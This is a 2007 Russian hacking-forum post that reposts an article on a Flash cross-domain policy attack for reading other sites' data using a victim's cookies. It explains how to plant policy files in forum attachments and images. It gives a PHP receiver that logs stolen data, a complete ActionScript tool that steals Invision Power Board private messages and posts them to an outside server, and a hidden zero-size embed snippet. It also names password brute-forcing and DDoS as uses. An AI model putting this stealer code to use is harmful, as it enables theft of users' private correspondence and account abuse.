ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Cross-Domain Data Access via Flash [CDDAF] Reference
  #1  
Старый 07.09.2007, 15:24
Аватар для Alexsize
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию Cross-Domain Data Access via Flash [CDDAF] Reference

Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости.


В практической части описываются примеры различного использования уязвимости:

- Кража приватной информации на примере популярных форумных движков и почтовых сервисов
- Распределенный перебор паролей на примере icq.com
- DDoS



Теория атаки

Введение

Атака осуществляется посредством Flash Player. Для Flash Player действует ряд ограничений (sandbox security model), схожих с ограничениями для Java Applets, которые запрещают доступ к серверу, если его адрес не совпадает с адресом сервера, на котором находится клип. Суть атаки заключается в расширении sandbox (снятии ограничений на доступ к внешним данным) Flash Player для отправления произвольных данных уязвимому данной атаке серверу от лица жертвы. Не маловажно то, что с запросом отправляются и установленные для данного сервера cookies. О том, как расширить Sandbox будет рассказано далее.

В общем случае проведение атаки выглядит следующим образом: жертва заходит на некий сайт и при этом загружает Flash клип, который делает запрос на расширение Sandbox серверу и, если все прошло успешно, начинает посылать запросы данному серверу, обрабатывать ответы, если необходимо пересылать их другому серверу. Данная уязвимость может быть использована для кражи приватной информации пользователей, DDoS, накрутки голосований, счетчиков, распределенного подбора паролей и т. д. Ниже приведена общая схема проведения атаки.
Схема. Принцип действия атаки




Данная уязвимость схожа с CSRF и XSS, при этом имеет преимущества обоих: возможность посылать запросы серверам (не только на 80 порт) и обрабатывать ответ. Поэтому атаку возможно осуществить и при наличии такой защиты от CSRF, как добавление уникального параметра к каждому запросу. Уязвимость не является частным случаем CSRF, т. к. с ее помощью мы не только посылаем запросы сторонним серверам, но и получаем ответ сервера, имеем возможность его обрабатывать. Данную уязвимость я назвал Cross-Domain Data Access via Flash (CDDAF).

Расширение Sandbox

Для снятия ограничений (расширения Sandbox) необходимо расположить на сервере, к которому необходимо получить доступ, cross-domain policy файл (далее сертификат), являющийся простым XML файлом. Сертификат должен содержать примерно следующее:

Цитата:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="www.site.com" /></cross-domain-policy>
Данный policy file разрешает доступ к серверу клипам, загруженным с www.site.com. Чтобы клипы с любых доменов имели доступ к серверу значение атрибута domain должно быть "*".

Чтобы разрешить клипу, полученному по HTTP протоколу, импортировать данные при помощи HTTPS, значение атрибута secure должно быть false (по умолчанию true).

Пример сертификата, разрешающего внешний доступ к страницам по протоколам HTTP и HTTPS:


Цитата:
<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>
Для сокетов для доступа к портам сервера номером более 1024 (доступ к стандартным портам закрыт, но и это ограничение можно снять), предусмотрен атрибут to-ports, значением которого могут быть конкретный порт, диапазон (например "3000-3010") или "*" (>1024). Для доступа к стандартным портам сертификат должен быть получен с порта с номером, не превышающим 1024. Сертификат, загруженный с порта, номер которого больше 1024, или по HTTP, не может дать допуск на подключение к стандартным портам.

Подробнее: http://www.adobe.com/go/tn_14213

Таким образом, разместив на сайте приведенный выше XML код или клип, мы можем посылать данному сайту произвольные запросы от лица жертвы. Следует отметить, что многие HTTP заголовки средствами Flash изменить нельзя. Ниже приведены данные заголовки (для Flash Player 9):


Цитата:
Accept-Charset, Accept-Encoding, Accept-Ranges, Age, Allow, Allowed, Connection, Content-Length, Content-Location, Content-Range, Date, Delete, ETag, Expect, Get, Host, Keep-Alive, Last-Modified, Location, Max-Forwards, Options, Post, Proxy-Authenticate, Proxy-Authorization, Public, Put, Range, Referer, Retry-After, Server, TE, Trace, Trailer, Transfer-Encoding, Upgrade, URI, User-Agent, Vary, Via, Warning, WWW-Authenticate, x-flash-version
Для расширения Sandbox используется метод loadPolicyFile(policyFile:String). При этом имя и расширение файла сертификата не имеют значения, сертификат даже может содержать посторонние данные ("мусор").

Для размещения кода сертификата на сайте есть несколько общих способов:

> Вложения (attachments) - для форумов, почтовых веб сервисов

> XSS - вставка на уязвимой странице кода сертификата

Примечание. Иногда выгоднее использовать XSS "традиционными" способами, например, если XSS выглядит следующим образом:


http://site.com/dir1/dir2/scr?param=[XSS], то мы сможем получить доступ только к http[s]://site.com/dir1/dir2/* и site.com:1024+

> Аватары, фото, и т. д.

Примечание. Здесь меня постигло разочарование: иногда ссылка на изображение имеет следующий вид (пример для vBulletin):

http://site.com/vb/image.php?u=1234&dateline=123456789

Видно, что если поместить в изображение код сертификата, мы сможем получить доступ к http://site.com/vb/*, но Flash Player не считывает данные после символа конца строки. Поэтому код сертификата должен находиться перед данным символом. Однако, зачастую существует проверка размеров загружаемой картинки, которая обычно заключается в чтении нескольких начальных байт изображения. Покажу на примере формата GIF.

Структура GIF файла




Как видно, для ширины и высоты изображения зарезервировано по 2 байта с 6-го по 9-ый включительно. Чтобы ни один из зарезервированных байтов не был null-байтом, размеры изображения должны быть 0101h x 0101h или в десятичной системе счисления 257 x 257. Таким образом, мы сможем вставить код сертификата в картинку, минимальный размер которой 257 x 257 (т. е. как аватар такое изображение загрузить в большинстве случаев не удастся). С другими графическими форматами дела обстоят аналогичным образом.

> Возможно, сертификат уже находится на сервере. Например, иногда в корне сайта имеется необходимый нам файл crossdomain.xml (часто со значением атрибута domain *). Пример - icq.com

Иногда возможно расположить клип на сервере, к которому необходимо послать запрос. Тогда, если клип расположен не в корневой директории, он сможет работать только со страницами, расположенными в одной директории (или поддиректориях) с ним.

Замечание. В этом случае возможно также выполнение javascript, например, при помощи функции getURL() или метода call() класса ExternalInterface.

В настоящее время уязвимы web email сервисы(yahoo.com, hotmail.com, icqmail.com, mail.ru, pochta.ru, gmail.com), некоторые популярные форумные движки (Invision Power Board, vBulletin, SMF) и др.


Примеры практического применения
Для эксплуатации уязвимости необходимо разместить код сертификата на сервере, получить его адрес. На основании данного адреса определяем, к какой части сайта мы получим доступ. Если все устраивает, создаем Flash клип, который выполнит необходимые нам действия от лица загрузившего.

Далее в статье будут рассмотрены примеры кражи приватной информации (PM, DB; на примере форумов и почтовых сервисов), распределенного перебора паролей, DDoS.


Форумы

Схема проведения CSREF следующая: размещаем на форуме код сертификата (в attachment), даем жертве ссылку на сайт с клипом, который загрузит размещенный нами сертификат, выполнит от лица жертвы некие действия, если необходимо отправит полученные данные.

В общем случае при краже личных сообщений (или писем с email сервиса) загруженный Flash Movie выполняет следующие действия (исключение vBulletin):

1. Загружает сертификат / расширяет Sandbox
2. Загружает страницы со списками сообщений (inbox, sent, etc)
3. Парсит полученные данные на предмет ссылок на сообщения, добавляет их в общий массив, удаляя повторяющиеся
4. Загружает некоторое количество сообщений в память
5. Отправляет их скрипту-приёмнику
6. 4 + 5 пока не закончатся ссылки

Код на PHP скрипта-приёмника для всех приведенных далее примеров один:


PHP код:
<?php

set_time_limit
(0);

error_reporting(E_ALL E_NOTICE);

if(
$_POST['data']) {

if(
strlen($_POST['data']) > 3000000) exit;

$date date('d M Y, H:i:s');

$clientInfo = <<<INFO

<table style='background: #800000; font-family: Verdana; font-size: 10; color: #ffffff;' width=100% border=1 cellpadding=2 cellspacing=0>

<tr>

<td colspan=5><center><b>Information about sender</b></center></td>

</tr><tr>

<td><b>Date:</b> 
{$date}</td>

<td><b>Ip:</b> 
{$_SERVER['REMOTE_ADDR']}</td>

<td><b>X_Forwarded_For:</b> 
{$_SERVER['HTTP_X_FORWARDED_FOR']}</td>

<td><b>Client_Ip:</b> 
{$_SERVER['HTTP_CLIENT_IP']}</td>

<td><b>Forwarded:</b> 
{$_SERVER['HTTP_FORWARDED']}</td>

</tr><tr>

<td colspan=2><b>Referer:</b> 
{$_SERVER['HTTP_REFERER']}</td>

<td colspan=3><b>User-Agent:</b> 
{$_SERVER['HTTP_USER_AGENT']}</td>

</tr>

</table>

INFO;

$handle fopen($_SERVER['REMOTE_ADDR'] . '.html''a');

fwrite($handle$clientInfo stripslashes(urldecode($_POST['data'])) . '<br><br>');

fclose($handle);

}

?>
Данный скрипт записывает значение $_POST['data'] и некоторую информацию о клиенте в файл $_SERVER['REMOTE_ADDR'] . '.html'

Файлы, созданные данным скриптом, следует открывать с осторожностью, т. к. жертва может, например, послать HTML код какого-нибудь внешнего элемента, Javascript код и т. д. и получить IP злоумышленника.


Invision Power Board

В панель администратора попасть не удастся, т. к. доступ туда осуществляется по паролю/сессии, сессия админа хранится в cookies (ipb_admin_session_id), однако она не используется. В версиях 2.2, 2.3 кусок кода, отвечающий за аутентификацию, используя ipb_admin_session_id, был закомментирован:

Цитата:
//----------------------------------

// Got a cookie wookey?

// Small security risk currently

// Until we add in the auth key to forms

//----------------------------------

/*

$cookie['admin_session_id'] = $this->ipsclass->my_getcookie('ipb_admin_session_id');

if ( $cookie['admin_session_id'] )

{

$this->ipsclass->input['adsess'] = $cookie['admin_session_id'];

$this->session_type = 'cookie';

}*/
По умолчанию, к своему сообщению можно прикреплять файлы определенного размера и расширения. Загруженные файлы хранятся в БД и извлекаются сценарием index.php. При этом:


> Скрипт index.php, передающий содержание изображения находится в корне форума. Ссылка на загруженный файл имеет примерно следующий вид:

http://site.com/forum/index.php?act=attach&type=post&id=2

> Прикрепляемый файл может содержать произвольный XML код

Таким образом, имеются все условия для проведения атаки. Мы можем посылать запросы от лица пользователя, загрузившего клип. При этом, как и отмечалось ранее, передаются cookies, установленные для данного сайта.

Ниже приведен код на ActionScript для кражи всех приватных сообщений пользователя, загрузившего Flash клип. Клип получает параметры, используя FlashVars.

Цитата:
/*

Invision Power Board PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals inbox, sent and saved PMs

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

// [optional] messagesUntilDump:Number = Number of PMs per one dump

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

var messagesContent:Array = new Array();

var allPmLinks:Array = new Array();

var tmpPmLinks:Object = new Object();

var foldersDone:Number = 0;

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileU rl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Array of forum's folders links

var folders:Array = new Array(

'/index.php?CODE=01&act=Msg&VID=in', // Inbox

'/index.php?CODE=01&act=Msg&VID=sent', // Sent

'/index.php?act=Msg&CODE=20'); // Saved

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

forumUrl + folders[i],

'',

'GET',

onGetMessageList);

}

}

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for PM links

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var pmLinks:Object = ExternalInterface.call(

'function(data) { return data.match(/(index\\.php\\?act=Msg&CODE=03&VID=[a-z]+&MSID=\\d+)/igm); }',

loadedData);

// Deleting similar links

for(var i in pmLinks) {

tmpPmLinks[pmLinks[i]] = null; }

foldersDone++;

if(foldersDone == folders.length) {

// Concatenation (Object) tmpPmLinks to (Array) allPmLinks

for(var i in tmpPmLinks) {

allPmLinks.push(i); }

sendGetLinkRequsts()

}

}

function sendGetLinkRequsts():Void {

if(allPmLinks.length) {

if(allPmLinks.length < messagesUntilDump) {

messagesUntilDump = allPmLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

forumUrl + '/' + allPmLinks.shift(),

'',

'GET',

onGetMessageContent);

}

}

}

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape(messagesContent.join('<br>')),

'POST');

messagesContent = new Array();

sendGetLinkRequsts()

}

}

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF
Параметры:

· policyFileUrl - адрес прикрепленного файла с кодом сертификата

· dataReceiverUrl - адрес скрипта-приемника. Он должен находиться в одной директории с клипом

· [optional] messagesUntilDump - число сообщений в одном дампе

Требования:

· Flash Player 8+

· Javascript

Пример вставки клипа на страницу (все & в параметрах-ссылках лучше заменить на %26)


Цитата:
<OBJECT

id="fl"

classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"

width="0"

height="0"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

<PARAM name="movie" value="ipbPMStealer.swf">

<PARAM name="FlashVars"

value="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1">

<EMBED

name="fl"

src="ipbPMStealer.swf"

FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1"

width="0"

height="0"

swLiveConnect="true"

pluginspace="http://www.macromedia.com/go/flashplayer/">

</EMBED>

</OBJECT>
Принцип действия данного клипа показан на схеме в начале статьи. В одной директории с данным клипом должен находиться скрипт-приёмник (cDataReceiver.php; код приводился ранее)
__________________
...
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Bypassing JavaScript Filters the Flash! Attack k00p3r Чужие Статьи 0 12.07.2005 16:11
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ